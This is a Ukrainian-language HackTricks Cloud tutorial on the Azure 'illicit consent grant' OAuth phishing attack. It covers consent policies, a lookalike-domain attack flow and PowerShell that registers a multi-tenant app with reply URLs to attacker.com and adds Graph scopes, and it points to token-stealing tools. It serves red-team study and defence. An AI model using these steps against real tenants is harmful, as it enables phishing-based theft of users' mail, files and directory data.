Ukranian - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Illicit Consent Grant

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Фішинг OAuth Додатків

Azure Applications запитують дозвіл на доступ до даних користувача (основна інформація, а також доступ до документів, відправлення електронних листів...). Якщо дозволено, звичайний користувач може надати згоду тільки на "Низькі впливові дозволи". У всіх інших випадках потрібна згода адміністратора. GA, ApplicationAdministrator, CloudApplication Administrator та користувацька роль, яка включає дозвіл на надання дозволів додаткам, можуть надати згоду на рівні орендаря.

Лише дозволи, які не потребують згоди адміністратора, класифікуються як незначний вплив. Це дозволи, необхідні для основного входу - openid, profile, email, User.Read та offline_access. Якщо організація дозволяє користувацьку згоду для усіх додатків, співробітник може надати згоду на додаток для читання вищезазначеного зі свого профілю.

Отже, зловмисник може підготувати шкідливий додаток і за допомогою фішингу змусити користувача прийняти додаток та вкрасти його дані.

2 Типи Атак Недозволеного Надання Згоди

  • Неаутентифікований: Зовнішній обліковий запис створює додаток з дозволами User.Read та User.ReadBasic.All, наприклад, фішингує користувача, і ви зможете отримати доступ до інформації каталогу.

  • Для цього потрібно, щоб фішений користувач міг приймати OAuth додатки з зовнішніх середовищ!

  • Аутентифікований: Якщо вдалося компрометувати принципала з достатньо привілеїв, створіть додаток всередині облікового запису та фішингуйте деякого привілейованого користувача, який може приймати привілейові OAuth дозволи.

  • У цьому випадку ви вже можете отримати доступ до інформації каталогу, тому дозвіл User.ReadBasic.All вже не цікавий.

  • Ймовірно, вас цікавлять дозволи, які вимагають надання адміністратором, оскільки звичайний користувач не може надати жодного дозволу OAuth додаткам, тому вам потрібно фішингувати лише тих користувачів (докладніше про те, які ролі/дозволи надають цей привілей пізніше)

Перевірте, чи користувачі можуть надавати згоду

Наступна команда PowerShell використовується для перевірки конфігурації згоди для користувачів в Azure Active Directory (Azure AD) щодо їх можливості надавати згоду на додатки:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

  • Вимкнути згоду користувача: Ця настройка забороняє користувачам надавати дозволи додаткам. Користувачам не дозволяється надавати згоду на додатки.

  • Користувачі можуть надавати згоду на додатки від перевірених видавців або вашої організації, але тільки для вибраних дозволів: Ця настройка дозволяє всім користувачам надавати згоду тільки на додатки, які опубліковані перевіреним видавцем та додатки, зареєстровані в вашому власному каталозі. Вона додає шар контролю, дозволяючи надавати згоду тільки на конкретні дозволи.

  • Користувачі можуть надавати згоду на всі додатки: Ця настройка є більш дозвільною і дозволяє всім користувачам надавати згоду на будь-які дозволи для додатків, за умови, що ці дозволи не потребують адміністративної згоди.

  • Спеціальна політика надання згоди на додатки: Ця настройка вказує на те, що встановлена спеціальна політика, яка може бути адаптована до конкретних вимог організації і може включати комбінацію обмежень на основі видавця додатків, дозволів, які запитує додаток, та інших факторів.

Розуміння атаки на незаконне надання згоди

Під час атаки на незаконне надання згоди зловмисники обманюють кінцевих користувачів, щоб надати дозволи зловмисному додатку, зареєстрованому в Azure. Це відбувається шляхом створення вигляду легітимності додатку, що призводить до того, що жертви ненавмисно натискають кнопку "Прийняти". В результаті Azure AD видаватиме токен сайту зловмисника, дозволяючи йому отримати доступ до даних жертви та їхнього маніпулювання, таких як читання або відправлення електронних листів та доступ до файлів, не потребуючи облікового запису організації.

Огляд ходу атаки

Атака включає кілька кроків, спрямованих на загальну компанію. Ось як вона може розгортатися:

  1. Реєстрація домену та хостинг додатка: Зловмисник реєструє домен, що нагадує довірливий сайт, наприклад, "safedomainlogin.com". Під цим доменом створюється піддомен (наприклад, "companyname.safedomainlogin.com"), щоб розмістити додаток, призначений для захоплення кодів авторизації та запиту токенів доступу.

  2. Реєстрація додатка в Azure AD: Потім зловмисник реєструє багато арендний додаток у своєму каталозі Azure AD, назвавши його на честь цільової компанії, щоб виглядати легітимно. Він налаштовує URL-адресу перенаправлення додатка на піддомен, де розміщений шкідливий додаток.

  3. Налаштування дозволів: Зловмисник налаштовує додаток з різними дозволами API (наприклад, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Ці дозволи, якщо надані користувачем, дозволяють зловмиснику витягти чутливу інформацію від імені користувача.

  4. Розповсюдження шкідливих посилань: Зловмисник створює посилання, що містить ідентифікатор клієнта шкідливого додатка та ділиться ним з цільовими користувачами, обманюючи їх надати згоду.

Використання інструментів для атаки

Атаку можна спростити за допомогою інструментів, таких як 365-Stealer.

Підготовка до атаки:

Якщо зловмисник має певний рівень доступу до користувача в організації жертви, він може перевірити, чи дозволяє політика організації користувачеві приймати додатки:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Для виконання атаки зловмиснику потрібно створити новий додаток у своєму Azure Tenant (у реєстрації додатків), налаштований з дозволами:

User.ReadBasic.All знаходиться всередині Microsoft Graph у Delegated permissions. (Додаткове схвалення завжди потрібно для дозволів програми).

  • User.ReadBasic.All - це дозвіл, який дозволить вам читати інформацію всіх користувачів в організації, якщо він наданий.

  • Пам'ятайте, що тільки GA, ApplicationAdministrator, CloudApplication Administrator та користувацька роль, яка включає дозвіл на надання дозволів програмам, можуть надати згоду на рівні орендаря. Тому вам слід використовувати соціальний інженерінг для користувача з однією з цих ролей, якщо ви хочете, щоб він схвалив додаток, який вимагає адміністративної згоди.

Ви також можете створити додаток через cli за допомогою:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Перевірте https://www.alteredsecurity.com/post/introduction-to-365-stealer, щоб дізнатися, як його налаштувати.

Зверніть увагу, що отриманий токен доступу буде для кінцевої точки графіка з областями: User.Read та User.ReadBasic.All (запитані дозволи). Ви не зможете виконувати інші дії (але цього достатньо для завантаження інформації про всіх користувачів в організації).

O365-Attack-Toolkit

Ви також можете використовувати цей інструмент для здійснення цього нападу.

Післяексплуатаційний етап

Як тільки ви отримаєте доступ до користувача, ви можете робити такі речі, як крадіжка чутливих документів та навіть завантаження документів з вбудованим зловмисним кодом.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

PreviousAz - Unauthenticated Enum & Initial EntryNextAz - Device Code Authentication Phishing

Last updated